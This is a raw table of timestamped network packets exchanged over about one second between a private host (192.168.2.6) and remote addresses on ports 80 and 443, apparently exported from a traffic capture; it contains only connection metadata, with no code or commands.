Nov 17, 2024 01:38:47.595889091 CET	443	56747	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:47.596375942 CET	56747	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:47.596437931 CET	443	56747	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:47.596822023 CET	56747	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:47.596839905 CET	443	56747	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:47.611150980 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.611176968 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.611186981 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.611210108 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.611251116 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.611321926 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.611331940 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.611350060 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.611361027 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.611371994 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.611376047 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.611376047 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.611422062 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.611422062 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.622399092 CET	443	56748	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:47.622848034 CET	56748	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:47.622881889 CET	443	56748	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:47.623279095 CET	56748	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:47.623286963 CET	443	56748	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:47.624115944 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.624125004 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.624165058 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.624200106 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.624219894 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.624222994 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.624383926 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.626802921 CET	443	56749	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:47.627829075 CET	56749	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:47.627902985 CET	443	56749	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:47.628611088 CET	443	56738	13.107.246.57	192.168.2.6
Nov 17, 2024 01:38:47.628647089 CET	443	56738	13.107.246.57	192.168.2.6
Nov 17, 2024 01:38:47.628698111 CET	56738	443	192.168.2.6	13.107.246.57
Nov 17, 2024 01:38:47.628720999 CET	443	56738	13.107.246.57	192.168.2.6
Nov 17, 2024 01:38:47.628752947 CET	56738	443	192.168.2.6	13.107.246.57
Nov 17, 2024 01:38:47.628839016 CET	56749	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:47.628844023 CET	56738	443	192.168.2.6	13.107.246.57
Nov 17, 2024 01:38:47.628854990 CET	443	56749	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:47.652209044 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.652252913 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.652271032 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.652314901 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.652352095 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.652358055 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.652368069 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.652385950 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.652395964 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.652406931 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.652406931 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.652420044 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.652431011 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.652436972 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.652452946 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.652473927 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.653264046 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.653281927 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.653316975 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.653333902 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.653337002 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.653346062 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.653356075 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.653381109 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.653409004 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.653750896 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.653800011 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.653850079 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.694009066 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.694020987 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.694031000 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.694094896 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.694133043 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.711606979 CET	443	56746	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:47.711771965 CET	443	56746	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:47.711838961 CET	56746	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:47.711939096 CET	56746	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:47.711940050 CET	56746	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:47.711956978 CET	443	56746	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:47.711977959 CET	443	56746	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:47.715202093 CET	56752	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:47.715256929 CET	443	56752	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:47.715403080 CET	56752	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:47.715547085 CET	56752	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:47.715578079 CET	443	56752	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:47.725428104 CET	443	56747	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:47.725625038 CET	443	56747	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:47.725727081 CET	443	56747	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:47.725795984 CET	56747	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:47.725851059 CET	56747	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:47.725872040 CET	443	56747	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:47.725912094 CET	56747	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:47.725924969 CET	443	56747	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:47.726510048 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.726546049 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.726555109 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.726574898 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.726584911 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.726594925 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.726617098 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.726660967 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.726979971 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.727031946 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.727041960 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.727082968 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.728820086 CET	56753	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:47.728857040 CET	443	56753	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:47.729091883 CET	56753	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:47.729265928 CET	56753	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:47.729289055 CET	443	56753	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:47.739823103 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.739839077 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.739847898 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.739897966 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.739933014 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.746093035 CET	443	56738	13.107.246.57	192.168.2.6
Nov 17, 2024 01:38:47.746128082 CET	443	56738	13.107.246.57	192.168.2.6
Nov 17, 2024 01:38:47.746305943 CET	56738	443	192.168.2.6	13.107.246.57
Nov 17, 2024 01:38:47.746306896 CET	56738	443	192.168.2.6	13.107.246.57
Nov 17, 2024 01:38:47.746372938 CET	443	56738	13.107.246.57	192.168.2.6
Nov 17, 2024 01:38:47.746424913 CET	443	56750	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:47.746510983 CET	56738	443	192.168.2.6	13.107.246.57
Nov 17, 2024 01:38:47.746877909 CET	56750	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:47.746908903 CET	443	56750	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:47.747543097 CET	56750	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:47.747553110 CET	443	56750	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:47.754677057 CET	443	56748	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:47.754784107 CET	443	56748	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:47.754889011 CET	56748	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:47.754920959 CET	56748	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:47.754945993 CET	443	56748	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:47.754959106 CET	56748	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:47.754966021 CET	443	56748	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:47.757704973 CET	56754	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:47.757762909 CET	443	56754	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:47.757841110 CET	56754	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:47.758007050 CET	56754	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:47.758034945 CET	443	56754	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:47.758244038 CET	443	56749	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:47.758272886 CET	443	56749	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:47.758326054 CET	443	56749	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:47.758403063 CET	56749	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:47.758482933 CET	56749	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:47.758528948 CET	443	56749	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:47.758558989 CET	56749	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:47.758575916 CET	443	56749	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:47.760601044 CET	56755	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:47.760621071 CET	443	56755	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:47.760766983 CET	56755	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:47.760931969 CET	56755	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:47.760941982 CET	443	56755	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:47.767438889 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.767447948 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.767504930 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.767605066 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.767615080 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.767662048 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.767704010 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.767867088 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.767914057 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.767945051 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.767955065 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.767990112 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.768039942 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.768078089 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.768137932 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.768148899 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.768161058 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.768170118 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.768181086 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.768187046 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.768193007 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.768230915 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.768260002 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.769013882 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.769064903 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.769076109 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.769087076 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.769098997 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.769099951 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.769131899 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.809324026 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.809335947 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.809362888 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.809396029 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.809485912 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.809485912 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.809485912 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.841731071 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.841764927 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.841777086 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.841794968 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.841797113 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.841851950 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.841851950 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.841953993 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.841990948 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.842000961 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.842020988 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.842047930 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.842276096 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.842335939 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.842363119 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.842464924 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.855372906 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.855434895 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.855473995 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.855484962 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.855519056 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.879522085 CET	443	56750	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:47.879677057 CET	443	56750	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:47.879779100 CET	56750	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:47.879925013 CET	56750	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:47.879949093 CET	443	56750	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:47.879961967 CET	56750	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:47.879970074 CET	443	56750	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:47.882729053 CET	56756	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:47.882755041 CET	443	56756	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:47.882827044 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.882846117 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.882857084 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.882910013 CET	56756	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:47.882949114 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.882949114 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.882953882 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.883002996 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.883018017 CET	56756	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:47.883028984 CET	443	56756	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:47.883052111 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.883202076 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.883213997 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.883249998 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.883250952 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.883264065 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.883327007 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.883591890 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.883603096 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.883614063 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.883649111 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.883649111 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.883661985 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.883673906 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.883704901 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.883704901 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.884213924 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.884231091 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.884243011 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.884253979 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.884267092 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.884267092 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.884293079 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.884321928 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.924690962 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.924767017 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.924765110 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.924777031 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.924851894 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.924851894 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.938421965 CET	443	56738	13.107.246.57	192.168.2.6
Nov 17, 2024 01:38:47.938461065 CET	443	56738	13.107.246.57	192.168.2.6
Nov 17, 2024 01:38:47.938555956 CET	56738	443	192.168.2.6	13.107.246.57
Nov 17, 2024 01:38:47.938555956 CET	56738	443	192.168.2.6	13.107.246.57
Nov 17, 2024 01:38:47.938600063 CET	443	56738	13.107.246.57	192.168.2.6
Nov 17, 2024 01:38:47.938663006 CET	56738	443	192.168.2.6	13.107.246.57
Nov 17, 2024 01:38:47.957062960 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.957129002 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.957148075 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.957156897 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.957189083 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.957190990 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.957197905 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.957209110 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.957228899 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.957257032 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.957577944 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.957588911 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.957597017 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.957623005 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.957648993 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.970464945 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.970490932 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.970499992 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.970545053 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.970577002 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.998054028 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.998099089 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.998150110 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.998157978 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.998231888 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.998240948 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.998240948 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.998296976 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.998306990 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.998311043 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.998357058 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.998357058 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.998559952 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.998615026 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.998625040 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.998626947 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.998661995 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.998692036 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.998786926 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.998826027 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.998836994 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.998838902 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.998847008 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.998867989 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.998898983 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.999218941 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.999231100 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.999239922 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.999265909 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.999298096 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.999511003 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.999521971 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.999527931 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.999578953 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.999577999 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.999588966 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.999624968 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:48.039912939 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.039928913 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.039983034 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.039990902 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.040072918 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:48.040072918 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:48.072563887 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.072575092 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.072587013 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.072606087 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.072616100 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.072647095 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:48.072722912 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:48.072737932 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.072767973 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.072778940 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.072798014 CET	80	49911	185.215.113.206	192.168.2.6
